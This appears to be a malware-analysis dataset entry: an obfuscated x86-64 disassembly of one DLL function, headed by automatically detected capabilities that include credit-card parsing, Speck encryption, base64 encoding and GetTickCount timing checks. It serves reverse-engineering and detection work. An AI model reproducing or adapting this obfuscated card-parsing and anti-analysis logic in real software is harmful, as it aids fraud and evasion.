Function at 0x1800499d0
Capabilities:
Check for time delay via gettickcount
Encode data using base64
Encrypt data using speck
Parse credit card information
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1068
call fcn.180071f90
sub rsp, rax
mov qword [rsp + 0xee8], 0x7bed
mov rax, qword [0x1800a66a0]
mov byte [rsp + 0x24], al
mov rax, qword [0x1800a66e0]
mov byte [rsp + 0x23], al
movzx eax, word [0x1800a65fc]
movzx eax, ax
mov dword [rsp + 0x4c], eax
movzx eax, word [0x1800a66b4]
movsx rax, ax
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x50], 0x11
mov byte [rsp + 0x20], 0x2c
mov byte [rsp + 0x28], 0x22
mov eax, 0x54a2
mov word [rsp + 0x3c], ax
mov dword [rsp + 0x44], 0xf9d3f638
mov dword [rsp + 0x54], 0x7baa
mov dword [rsp + 0x58], 0xfae6
mov eax, 0x43
mov word [rsp + 0x30], ax
mov dword [rsp + 0x40], 0x5224cc22
mov rax, qword [0x1800a66e0]
mov byte [rsp + 0x27], al
mov eax, dword [0x1800a663c]
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x29], 0xe3
movzx eax, byte [0x1800a66c4]
mov byte [rsp + 0x25], al
mov byte [rsp + 0x22], 0x9e
mov byte [rsp + 0x21], 0x95
movzx eax, byte [0x1800a65fe]
movsx eax, al
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x68], 0x5e
movzx eax, word [0x1800a6698]
mov word [rsp + 0x34], ax
movzx eax, word [0x1800a65fc]
mov byte [rsp + 0x26], al
mov eax, 0xffffa1d7
mov word [rsp + 0x38], ax
movsx eax, word [0x1800a6690]
mov dword [rsp + 0xdbc], eax
mov eax, 0x56eb
mov word [rsp + 0xb30], ax
movzx eax, byte [0x1800a65a6]
movzx eax, al
mov dword [rsp + 0xdc0], eax
mov byte [rsp + 0x210], 0x4d
mov rax, qword [0x1800a6670]
mov qword [rsp + 0xef0], rax
mov eax, dword [0x1800a66c8]
mov dword [rsp + 0xdc4], eax
movabs rax, 0xf5cc81ee65b7a
mov qword [rsp + 0xef8], rax
movzx eax, byte [0x1800a6567]
mov qword [rsp + 0xf00], rax
mov dword [rsp + 0xdc8], 0x39a4337f
mov rax, qword [0x1800a66a0]
mov qword [rsp + 0xf08], rax
movzx eax, word [rsp + 0x34]
cwde
add eax, 0x9f1e96a9
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x2bc], eax
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x180049bdd
movsx eax, word [0x1800a6690]
mov ecx, dword [0x1800a6624]
xor ecx, eax
mov eax, ecx
mov ecx, dword [0x1800a6624]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a6624], eax
cmp dword [0x1800a66ec], 0
je 0x180049bc7
movzx eax, byte [0x1800a658e]
mov byte [rsp + 0x78], al
jmp 0x180049bd0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x78]
mov byte [0x1800a658f], al
jmp 0x180049beb
mov eax, dword [0x1800a66c4]
inc eax
mov dword [0x1800a66c4], eax
mov eax, dword [rsp + 0x2bc]
add eax, 0x5e8
mov dword [rsp + 0xb34], eax
movsx eax, word [0x1800a6690]
movzx ecx, byte [0x1800a65e7]
movsx ecx, cl
cmp eax, ecx
jne 0x180049c20
mov dword [rsp + 0x8a8], 1
jmp 0x180049c2b
mov dword [rsp + 0x8a8], 0
movsx eax, word [0x1800a6690]
cmp eax, 0x54
jne 0x180049c44
mov dword [rsp + 0x8a4], 1
jmp 0x180049c4f
mov dword [rsp + 0x8a4], 0
mov eax, dword [rsp + 0x8a4]
cmp dword [rsp + 0x8a8], eax
jle 0x180049c61
jmp 0x180049cc4
movsx eax, word [rsp + 0x2c]
test eax, eax
jg 0x180049ca4
movzx eax, byte [rsp + 0x24]
mov rcx, qword [0x1800a6668]
add rax, rcx
movzx ecx, byte [rsp + 0x24]
sub rcx, rax
mov rax, rcx
mov byte [rsp + 0x24], al
movsx rax, byte [0x1800a65fb]
movabs rcx, 0x8e2acdc6c4ae3
add rax, rcx
mov word [rsp + 0x2c], ax
jmp 0x180049cc4
movzx eax, byte [0x1800a658e]
movsx ecx, word [rsp + 0x2c]
cmp eax, ecx
jg 0x180049cc4
movzx eax, byte [rsp + 0x20]
and eax, 0x13c8
mov dword [0x1800a6698], eax
mov eax, dword [rsp + 0x2bc]
add eax, 0x62c
mov dword [rsp + 0x2fc], eax
mov eax, dword [rsp + 0x2bc]
add eax, 0x723
mov dword [rsp + 0xdcc], eax
mov rax, qword [0x1800a6680]
movsx rcx, byte [0x1800a65fb]
cmp rax, rcx
jbe 0x180049d0b
mov dword [rsp + 0x2c8], 1
jmp 0x180049d16
mov dword [rsp + 0x2c8], 0
mov rax, qword [0x1800a6680]
cmp rax, 0x35
jbe 0x180049d30
mov dword [rsp + 0x2c4], 1
jmp 0x180049d3b
mov dword [rsp + 0x2c4], 0
mov eax, dword [rsp + 0x2c4]
cmp dword [rsp + 0x2c8], eax
jge 0x180049d84
movzx eax, byte [rsp + 0x25]
movsx eax, al
test eax, eax
je 0x180049d6a
imul eax, dword [0x1800a66c4], 0x3281
mov word [0x1800a6694], ax
jmp 0x180049d82
movzx eax, word [0x1800a65fc]
movzx eax, ax
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [0x1800a66c8], eax
jmp 0x180049d9c
movzx eax, byte [rsp + 0x28]
movzx eax, al
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x11c], eax
mov eax, dword [0x1800a6688]
xor eax, 0x713a858a
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x11c]
add eax, 0x582
mov dword [rsp + 0xb48], eax
movzx eax, byte [rsp + 0x22]
cmp eax, dword [0x1800a6688]
je 0x180049de5
mov dword [rsp + 0x2d0], 1
jmp 0x180049df0
mov dword [rsp + 0x2d0], 0
movzx eax, byte [rsp + 0x22]
cmp eax, 4
je 0x180049e07
mov dword [rsp + 0x2cc], 1
jmp 0x180049e12
mov dword [rsp + 0x2cc], 0
mov eax, dword [rsp + 0x2cc]
cmp dword [rsp + 0x2d0], eax
jg 0x180049e7f
mov eax, dword [0x1800a65bc]
test eax, eax
je 0x180049e5d
movzx eax, word [0x1800a66c0]
mov byte [0x1800a65a6], al
movzx eax, byte [rsp + 0x21]
movsx eax, al
mov ecx, dword [0x1800a66ec]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1800a66ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a66ec], eax
jmp 0x180049e7f
movzx eax, byte [0x1800a65e7]
movsx eax, al
test eax, eax
je 0x180049e7f
movzx eax, word [0x1800a66b4]
cwde
sub eax, dword [0x1800a66e8]
mov byte [0x1800a65a7], al
mov eax, dword [rsp + 0x11c]
add eax, 0x515
mov dword [rsp + 0x33c], eax
mov eax, dword [rsp + 0x58]
cdqe
movabs rcx, 0xb6868034cdab
add rax, rcx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x11c]
add eax, 0x3b7
mov dword [rsp + 0xdd0], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x120], eax
mov qword [rsp + 0x68], 2
mov dword [rsp + 0x50], 2
movzx eax, byte [rsp + 0x20]
inc al
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xb80], rax
cmp qword [rsp + 0xb80], 0
je 0x180049f0a
cmp qword [rsp + 0xb80], 2
je 0x180049f40
jmp 0x180049f45
cmp dword [rsp + 0x44], 0
je 0x180049f20
movzx eax, byte [rsp + 0x20]
mov qword [rsp + 0xb88], rax
jmp 0x180049f2f
mov rax, qword [0x1800a66e0]
mov qword [rsp + 0xb88], rax
mov eax, dword [rsp + 0xb88]
mov dword [0x1800a66ec], eax
jmp 0x180049f45
mov byte [rsp + 0x24], 0xdb
mov eax, dword [rsp + 0x120]
add eax, 0x5af
mov dword [rsp + 0xb8], eax
movsx eax, word [rsp + 0x2c]
mov ecx, dword [rsp + 0x4c]
not ecx
sub eax, ecx
mov word [0x1800a669c], ax
mov eax, dword [rsp + 0x120]
add eax, 0x509
mov dword [rsp + 0xdd4], eax
mov eax, dword [rsp + 0x54]
cmp dword [0x1800a66c4], eax
jae 0x180049f98
mov dword [rsp + 0x2d8], 1
jmp 0x180049fa3
mov dword [rsp + 0x2d8], 0
cmp dword [0x1800a66c4], 0x52
jae 0x180049fb9
mov dword [rsp + 0x2d4], 1
jmp 0x180049fc4
mov dword [rsp + 0x2d4], 0
mov eax, dword [rsp + 0x2d4]
cmp dword [rsp + 0x2d8], eax
jne 0x180049fd9
jmp 0x18004a064
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x18004a007
movzx eax, word [rsp + 0x30]
movzx eax, ax
movzx ecx, byte [0x1800a658e]
add eax, ecx
movzx ecx, word [rsp + 0x30]
movzx ecx, cx
xor ecx, eax
mov eax, ecx
mov word [rsp + 0x30], ax
jmp 0x18004a064
movsx eax, word [rsp + 0x2c]
mov ecx, dword [rsp + 0x40]
cmp eax, ecx
je 0x18004a01d
mov byte [0x1800a65e7], 2
jmp 0x18004a064
mov eax, dword [0x1800a66e8]
mov rcx, qword [rsp + 0x60]
cmp rax, rcx
je 0x18004a03a
mov dword [rsp + 0x2dc], 1
jmp 0x18004a045
mov dword [rsp + 0x2dc], 0
cmp dword [rsp + 0x2dc], 0x60a
jne 0x18004a064
movzx eax, byte [0x1800a658e]
sub eax, 0xdf6b
mov byte [0x1800a65fe], al
mov eax, dword [rsp + 0x120]
add eax, 0x50d
mov dword [rsp + 0xdd8], eax
cmp dword [rsp + 0x4c], 0
je 0x18004a0c4
cmp dword [rsp + 0x4c], 0
jne 0x18004a092
mov dword [rsp + 0x2e0], 1
jmp 0x18004a09d
mov dword [rsp + 0x2e0], 0
mov eax, dword [0x1800a66cc]
mov ecx, dword [rsp + 0x2e0]
sub ecx, eax
mov eax, ecx
cdqe
mov qword [0x1800a66a8], rax
mov eax, dword [0x18091bdb0]
mov qword [rsp + 0x68], rax
jmp 0x18004a0ee
mov eax, dword [rsp + 0x58]
mov ecx, dword [0x1800a663c]
cmp eax, ecx
jg 0x18004a0ee
movzx eax, byte [0x1800a65a7]
imul eax, eax, 0x96d70845
mov byte [rsp + 0x27], al
mov rax, qword [0x1800a66b8]
mov byte [rsp + 0x22], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x124], eax
movzx eax, byte [rsp + 0x25]
movsx eax, al
mov ecx, dword [rsp + 0x48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
movzx eax, byte [rsp + 0x26]
inc al
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x124]
add eax, 0x563
mov dword [rsp + 0xddc], eax
mov eax, dword [rsp + 0x124]
add eax, 0x6a5
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x124]
add eax, 0x562
mov dword [rsp + 0xb38], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x128], eax
movzx eax, word [rsp + 0x34]
cwde
imul eax, eax, 0x491f8208
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x128]
add eax, 0x5dd
mov dword [rsp + 0x3a4], eax
mov eax, dword [rsp + 0x128]
add eax, 0x48d
mov dword [rsp + 0x3a0], eax
mov dword [0x1800a66c4], 0x7d68
movzx eax, word [0x1800a66c0]
movzx eax, ax
movzx ecx, byte [rsp + 0x28]
movzx ecx, cl
add eax, ecx
mov dword [0x1800a663c], eax
mov eax, dword [rsp + 0x128]
add eax, 0x447
mov dword [rsp + 0x39c], eax
cmp qword [0x1800a6670], 0
je 0x18004a203
mov eax, dword [rsp + 0x40]
mov eax, eax
movabs rcx, 0xc80cfcec79b5f
add rax, rcx
mov dword [0x1800a66ec], eax
mov rax, qword [0x1800a66b8]
sub rax, 0x5925
mov byte [rsp + 0x23], al
jmp 0x18004a249
movsx eax, word [rsp + 0x2c]
and eax, 0x89dd5508
mov byte [0x1800a65e6], al
movzx eax, word [rsp + 0x30]
movzx eax, ax
test eax, eax
je 0x18004a22e
mov eax, dword [0x1800a6698]
mov dword [rsp + 0x2e4], eax
jmp 0x18004a23a
movzx eax, byte [rsp + 0x20]
mov dword [rsp + 0x2e4], eax
movzx eax, word [rsp + 0x2e4]
mov word [0x1800a6694], ax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x12c], eax
mov dword [0x1800a66c4], 4
movzx eax, byte [rsp + 0x25]
mov byte [rsp + 0x20], al
movsx eax, byte [0x1800a658f]
test eax, eax
jne 0x18004a282
mov qword [rsp + 0xb90], 1
jmp 0x18004a28e
mov qword [rsp + 0xb90], 0
mov rax, qword [0x1800a66a0]
mov rcx, qword [rsp + 0xb90]
add rcx, rax
mov rax, rcx
mov qword [0x1800a6670], rax
mov eax, dword [0x1800a66c4]
mov dword [rsp + 0x114], eax
cmp dword [rsp + 0x114], 0
je 0x18004a2e4
cmp dword [rsp + 0x114], 1
je 0x18004a322
cmp dword [rsp + 0x114], 2
je 0x18004a342
cmp dword [rsp + 0x114], 4
je 0x18004a35b
jmp 0x18004a3ba
mov eax, dword [0x1800a66c8]
mov ecx, dword [0x1800a66b0]
add ecx, eax
mov eax, ecx
mov dword [0x1800a66b0], eax
movzx eax, byte [0x1800a6566]
movsx eax, al
movzx ecx, byte [0x1800a658e]
imul eax, ecx
mov ecx, dword [0x1800a66e8]
not ecx
imul eax, ecx
mov byte [rsp + 0x29], al
jmp 0x18004a3ba
movzx eax, word [0x1800a66c0]
movzx eax, ax
mov rcx, qword [0x1800a66b8]
add rcx, rax
mov rax, rcx
mov qword [0x1800a66b8], rax
jmp 0x18004a3ba
movzx eax, byte [0x1800a65e6]
movzx eax, al
add eax, 0xa4d8
mov dword [0x1800a6698], eax
jmp 0x18004a3ba
movsx eax, word [0x1800a6690]
test eax, eax
jne 0x18004a373
mov dword [rsp + 0x2e8], 1
jmp 0x18004a37e
mov dword [rsp + 0x2e8], 0
movzx eax, byte [rsp + 0x21]
movsx eax, al
movzx ecx, byte [rsp + 0x24]
xor eax, ecx
movsx ecx, word [rsp + 0x2c]
not ecx
mov edx, dword [rsp + 0x2e8]
xor edx, ecx
mov ecx, edx
mov edx, 0xcfe1bffc
sub edx, ecx
mov ecx, edx
sub eax, ecx
mov byte [rsp + 0x22], al
mov eax, 0xd622
mov word [0x1800a66c0], ax
mov eax, dword [rsp + 0x12c]
add eax, 0x42c
mov dword [rsp + 0xc4], eax
call qword [sym.imp.USER32.dll_GetMessagePos]
mov word [rsp + 0x2c], ax
mov eax, dword [rsp + 0x12c]
add eax, 0x56f
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0x12c]
add eax, 0x56b
mov dword [rsp + 0xde0], eax
movzx eax, byte [rsp + 0x25]
movsx eax, al
imul eax, eax, 0x97990af0
mov word [rsp + 0x2c], ax
movzx eax, word [rsp + 0x30]
movzx eax, ax
add eax, 0x5d
mov dword [0x1800a66cc], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x130], eax
mov eax, dword [rsp + 0x130]
add eax, 0x6bd
mov dword [rsp + 0x970], eax
mov eax, dword [0x1800a663c]
cmp eax, dword [rsp + 0x4c]
jl 0x18004a45b
mov dword [rsp + 0x2f0], 1
jmp 0x18004a466
mov dword [rsp + 0x2f0], 0
mov eax, dword [0x1800a663c]
cmp eax, 0x5e
jl 0x18004a47e
mov dword [rsp + 0x2ec], 1
jmp 0x18004a489
mov dword [rsp + 0x2ec], 0
mov eax, dword [rsp + 0x2ec]
cmp dword [rsp + 0x2f0], eax
je 0x18004a4ba
mov rax, qword [0x1800a6668]
add rax, 0x1761
mov qword [0x1800a66e0], rax
mov eax, dword [rsp + 0x44]
add eax, 0xce841501
mov byte [rsp + 0x20], al
mov eax, dword [rsp + 0x130]
add eax, 0x3b4
mov dword [rsp + 0x4ac], eax
mov eax, dword [rsp + 0x130]
add eax, 0x3aa
mov dword [rsp + 0x4b0], eax
movsx rax, byte [0x1800a658f]
mov rcx, qword [rsp + 0x68]
cmp rax, rcx
jle 0x18004a52c
mov eax, dword [rsp + 0x40]
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
cmp eax, ecx
je 0x18004a51c
movsx eax, word [0x1800a6690]
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
sub eax, ecx
mov word [0x1800a6690], ax
jmp 0x18004a52c
movsx eax, word [rsp + 0x2c]
add eax, 0xe028cd9
mov dword [0x1800a66c8], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x134], eax
mov eax, dword [rsp + 0x134]
add eax, 0x48c
mov dword [rsp + 0xde4], eax
movzx eax, byte [rsp + 0x21]
movsx eax, al
sar eax, 3
mov word [rsp + 0x2c], ax
mov eax, dword [rsp + 0x134]
add eax, 0x645
mov dword [rsp + 0x9a8], eax
mov eax, dword [rsp + 0x134]
add eax, 0x5c2
mov dword [rsp + 0x9ac], eax
movzx eax, byte [rsp + 0x24]
sar eax, 8
mov byte [rsp + 0x24], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x138]
add eax, 0x6c3
mov dword [rsp + 0x56c], eax
mov eax, dword [rsp + 0x138]
add eax, 0x59b
mov dword [rsp + 0xde8], eax
mov eax, dword [rsp + 0x138]
add eax, 0x51e
mov dword [rsp + 0x9dc], eax
movsx eax, word [rsp + 0x2c]
movzx ecx, word [0x1800a669c]
cmp eax, ecx
jne 0x18004a6f6
movzx eax, byte [rsp + 0x24]
cmp qword [0x1800a6670], rax
ja 0x18004a622
mov rax, qword [0x1800a6678]
sub rax, 0xd780
mov ecx, dword [0x1800a663c]
movsxd rcx, ecx
sub rcx, rax
mov rax, rcx
mov dword [0x1800a663c], eax
mov byte [rsp + 0x28], 0x38
jmp 0x18004a6f6
mov rax, qword [rsp + 0x68]
test rax, rax
jne 0x18004a656
movzx eax, byte [0x1800a65e7]
movsx eax, al
test eax, eax
jne 0x18004a656
mov eax, dword [rsp + 0x58]
cdqe
movabs rcx, 0xf76435f385abf
sub rax, rcx
mov dword [rsp + 0x58], eax
jmp 0x18004a6f6
movzx eax, byte [0x1800a65a7]
test eax, eax
jne 0x18004a6f6
movzx eax, byte [rsp + 0x20]
imul rax, qword [0x1800a66a8]
test rax, rax
jne 0x18004a686
mov eax, 1
mov word [rsp + 0x92], ax
jmp 0x18004a690
xor eax, eax
mov word [rsp + 0x92], ax
movzx eax, word [rsp + 0x92]
mov word [0x1800a660c], ax
cmp dword [0x1800a66c8], 0
jne 0x18004a6b5
mov dword [rsp + 0x2f4], 1
jmp 0x18004a6c0
mov dword [rsp + 0x2f4], 0
movsx eax, byte [rsp + 0x27]
not eax
movsx ecx, byte [rsp + 0x26]
movzx edx, byte [0x1800a65a7]
xor ecx, edx
xor eax, ecx
mov ecx, dword [0x1800a66ec]
xor ecx, 0xff8dccdb
mov edx, dword [rsp + 0x40]
sub edx, dword [rsp + 0x2f4]
sub ecx, edx
add eax, ecx
mov byte [rsp + 0x20], al
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x13c], eax
mov eax, dword [0x1800a66c8]
mov dword [0x1800a6698], eax
mov eax, 0x63
mov word [rsp + 0x30], ax
mov eax, dword [rsp + 0x13c]
add eax, 0x596
mov dword [rsp + 0x5b8], eax
lea rax, [rsp + 0xed8]
lea rcx, str.resource
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xed8]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [0x1800a65a7], al
mov eax, dword [rsp + 0x13c]
add eax, 0x68e
mov dword [rsp + 0x9e8], eax
mov eax, dword [rsp + 0x40]
shl eax, 5
mov byte [rsp + 0x29], al
movzx eax, byte [rsp + 0x24]
inc al
mov byte [rsp + 0x24], al
mov eax, dword [rsp + 0x13c]
add eax, 0x3d4
mov dword [rsp + 0x9ec], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x140], eax
movzx eax, byte [rsp + 0x25]
movsx eax, al
test eax, eax
je 0x18004a7e1
lea rax, [rsp + 0xf40]
lea rcx, str.User_realm_respons
mov rdi, rax
mov rsi, rcx
mov ecx, 0x13
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0xf40]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [rsp + 0x23], al
jmp 0x18004a806
movzx eax, word [0x1800a660c]
movzx ecx, byte [rsp + 0x21]
movsx ecx, cl
sub eax, ecx
mov dword [rsp + 0x40], eax
movzx eax, byte [rsp + 0x21]
movsx eax, al
add eax, dword [rsp + 0x4c]
mov byte [rsp + 0x21], al
mov eax, dword [rsp + 0x140]
add eax, 0x725
mov dword [rsp + 0xa8c], eax
movzx eax, word [0x1800a66c0]
movzx eax, ax
movzx ecx, byte [rsp + 0x28]
movzx ecx, cl
imul eax, ecx
not eax
add eax, 0xf942324c
mov eax, eax
mov ecx, dword [0x1800a65bc]
movsxd rcx, ecx
mov edx, dword [0x1800a663c]
movsxd rdx, edx
mov rdi, qword [0x1800a6678]
sub rdi, rdx
mov rdx, rdi
not rdx
sub rcx, rdx
sub rax, rcx
test rax, rax
jne 0x18004a871
mov dword [rsp + 0x2f8], 1
jmp 0x18004a87c
mov dword [rsp + 0x2f8], 0
mov eax, dword [rsp + 0x2f8]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x140]
add eax, 0x686
mov dword [rsp + 0xa90], eax
mov eax, dword [rsp + 0x140]
add eax, 0x55a
mov dword [rsp + 0x75c], eax
movzx eax, byte [rsp + 0x20]
movabs rcx, 0x5e682750eb048
sub rax, rcx
mov dword [0x1800a66b0], eax
mov rax, qword [rsp + 0x68]
imul rax, rax, 0xa8
mov dword [rsp + 0x4c], eax
mov qword [rsp + 0x70], 0
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x18004a8e8
jmp 0x18004a900
mov rax, qword [0x1800a6668]
test rax, rax
jne 0x18004a900
mov eax, dword [0x18091bdb0]
mov dword [0x1800a6688], eax
mov eax, dword [rsp + 0xb34]
imul eax, eax, 0x16b
mov ecx, dword [rsp + 0x2fc]
mov edx, dword [rsp + 0x2fc]
sub ecx, edx
imul eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x1080]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x70], rax
mov ecx, dword [0x1800a66cc]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov word [rsp + 0x3c], ax
mov dword [rsp + 0x108], 0x90
mov dword [rsp + 0x10c], 0xe9
mov rax, qword [0x1800a66a0]
mov ecx, dword [rsp + 0x40]
mov ecx, ecx
cmp rax, rcx
jg 0x18004a97b
mov dword [rsp + 0x304], 1
jmp 0x18004a986
mov dword [rsp + 0x304], 0
mov rax, qword [0x1800a66a0]
cmp rax, 0x5a
jg 0x18004a9a0
mov dword [rsp + 0x300], 1
jmp 0x18004a9ab
mov dword [rsp + 0x300], 0
mov eax, dword [rsp + 0x300]
mov dword [rsp + 0x5ac], 0x8b
mov dword [rsp + 0x80], 0xff
movzx eax, byte [0x1800a65e7]
movsx eax, al
test eax, eax
je 0x18004a9e7
mov rax, qword [0x1800a66b8]
mov qword [rsp + 0xb98], rax
jmp 0x18004a9f4
movzx eax, byte [rsp + 0x24]
mov qword [rsp + 0xb98], rax
mov eax, dword [rsp + 0xb98]
mov dword [0x1800a66ec], eax
mov dword [rsp + 0x560], 0x68
movzx eax, byte [0x1800a668c]
mov byte [rsp + 0x26], al
mov dword [rsp + 0xd0], 0x25
movsx rax, byte [0x1800a65fb]
movabs rcx, 0x4a297e12e54d8
add rax, rcx
mov word [0x1800a660c], ax
mov eax, 1
imul rax, rax, 0x1102
lea rcx, [0x1809d2b50]
movzx eax, byte [rcx + rax]
movzx ecx, word [rsp + 0x34]
movsx ecx, cx
sub ecx, eax
mov eax, ecx
mov word [rsp + 0x34], ax
mov dword [rsp + 0x100], 0xc3
mov eax, 4
mov word [0x1800a66c0], ax
mov eax, dword [0x1800a66b0]
add eax, 0xba
mov word [0x1800a6690], ax
movzx eax, word [0x1800a66c0]
movzx eax, ax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0
je 0x18004aae7
cmp dword [rsp + 0x98], 1
je 0x18004ab60
cmp dword [rsp + 0x98], 2
je 0x18004abc4
cmp dword [rsp + 0x98], 3
je 0x18004abe5
cmp dword [rsp + 0x98], 4
je 0x18004ac00
jmp 0x18004ac24
movzx eax, byte [0x1800a65fe]
movsx eax, al
not eax
movsx ecx, byte [rsp + 0x27]
sub eax, ecx
test eax, eax
jne 0x18004ab0c
mov qword [rsp + 0xba0], 1
jmp 0x18004ab18
mov qword [rsp + 0xba0], 0
movzx eax, word [0x1800a65fc]
movzx eax, ax
imul rax, qword [0x1800a66a8]
add rax, qword [rsp + 0xba0]
movsx rcx, byte [rsp + 0x27]
mov edx, dword [0x1800a66cc]
movsxd rdx, edx
mov rdi, qword [0x1800a66b8]
sub rdi, rdx
mov rdx, rdi
sub rcx, rdx
sub rax, rcx
mov qword [0x1800a66d0], rax
jmp 0x18004ac24
mov rax, qword [0x1800a66a0]
not rax
movsxd rcx, dword [rsp + 0x44]
xor rcx, qword [0x1800a6670]
not rcx
sub rax, rcx
test rax, rax
jne 0x18004ab8f
mov qword [rsp + 0xba8], 1
jmp 0x18004ab9b
mov qword [rsp + 0xba8], 0
movsxd rax, dword [0x1800a6698]
mov rcx, qword [rsp + 0x68]
not rcx
and rax, rcx
mov rcx, qword [rsp + 0xba8]
sub rcx, rax
mov rax, rcx
mov qword [0x1800a66d0], rax
jmp 0x18004ac24
movzx eax, byte [0x1800a65e7]
movsx eax, al
not eax
cdqe
mov rcx, qword [0x1800a66b8]
add rcx, rax
mov rax, rcx
mov byte [rsp + 0x28], al
jmp 0x18004ac24
movsxd rax, dword [rsp + 0x44]
mov rcx, qword [0x1800a66e0]
sub rcx, rax
mov rax, rcx
mov qword [0x1800a66e0], rax
jmp 0x18004ac24
movzx eax, byte [rsp + 0x29]
movzx eax, al
mov ecx, dword [0x1800a6698]
sub ecx, eax
mov eax, ecx
mov dword [0x1800a6698], eax
movzx eax, word [0x18091bdb0]
mov word [rsp + 0x30], ax
mov dword [rsp + 0x6f4], 0xe0
mov rax, qword [0x1800a6678]
movzx ecx, byte [rsp + 0x24]
cmp rax, rcx
jg 0x18004ac4d
mov dword [rsp + 0x30c], 1
jmp 0x18004ac58
mov dword [rsp + 0x30c], 0
mov rax, qword [0x1800a6678]
cmp rax, 0x3d
jg 0x18004ac72
mov dword [rsp + 0x308], 1
jmp 0x18004ac7d
mov dword [rsp + 0x308], 0
mov eax, dword [rsp + 0x308]
mov dword [rsp + 0x6e8], 0xb8
movzx eax, byte [0x1800a65a6]
movzx eax, al
mov ecx, eax
call qword [sym.imp.USER32.dll_IsWindowVisible]
mov dword [0x1800a66c4], eax
mov dword [rsp + 0x834], 0x50
movzx eax, word [0x1800a660c]
mov rcx, qword [0x1800a66d0]
add rax, rcx
mov word [0x1800a660c], ax
mov dword [rsp + 0x830], 0xa1
mov eax, 2
imul rax, rax, 0x3b95
lea rcx, [0x1809c0870]
movsx eax, word [rcx + rax]
mov dword [0x1800a66ec], eax
mov dword [rsp + 0xb28], 0x48
mov eax, dword [rsp + 0xb38]
mov ecx, dword [rsp + 0x144]
sub eax, ecx
mov ecx, dword [rsp + 0x144]
mov edx, dword [rsp + 0x144]
imul ecx, edx
add eax, ecx
cmp eax, 4
je 0x180057e52
movzx eax, word [rsp + 0x34]
movsx rax, ax
mov rcx, qword [0x1800a66a0]
cmp rax, rcx
jl 0x18004ad96
call qword [sym.imp.USER32.dll_GetFocus]
mov qword [rsp + 0x8c8], rax
cmp qword [rsp + 0x8c8], 0
je 0x18004ad96
mov rcx, qword [rsp + 0x8c8]
call qword [sym.imp.USER32.dll_IsWindow]
mov dword [rsp + 0xdec], eax
mov rcx, qword [rsp + 0x8c8]
call qword [sym.imp.USER32.dll_IsWindowEnabled]
mov dword [rsp + 0xdf0], eax
mov rcx, qword [rsp + 0x8c8]
call qword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [rsp + 0xdf4], eax
mov eax, dword [0x18091bdb0]
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x18004adad
jmp 0x18004addb
movsx eax, word [rsp + 0x2c]
test eax, eax
je 0x18004addb
movzx eax, byte [0x1800a65e6]
movzx eax, al
sar eax, 5
mov dword [0x1800a66ec], eax
movzx eax, byte [rsp + 0x29]
movzx eax, al
sub eax, 0xac492dd3
mov word [rsp + 0x38], ax
mov eax, dword [rsp + 0x148]
add eax, 0x4b3
mov dword [rsp + 0x8f4], eax
mov eax, 0xfffff1b7
mov word [rsp + 0x3c], ax
movsx eax, word [0x1800a6690]
test eax, eax
jne 0x18004ae10
mov dword [rsp + 0x310], 1
jmp 0x18004ae1b
mov dword [rsp + 0x310], 0
movzx eax, byte [0x1800a65e7]
movsx eax, al
not eax
mov ecx, dword [rsp + 0x310]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1800a66ec]
imul ecx, dword [0x1800a66ec]
imul eax, ecx
test eax, eax
jne 0x18004ae54
mov qword [rsp + 0xbb0], 1
jmp 0x18004ae60
mov qword [rsp + 0xbb0], 0
movzx eax, word [rsp + 0x30]
movzx eax, ax
movzx ecx, byte [rsp + 0x23]
movzx ecx, cl
or eax, ecx
cdqe
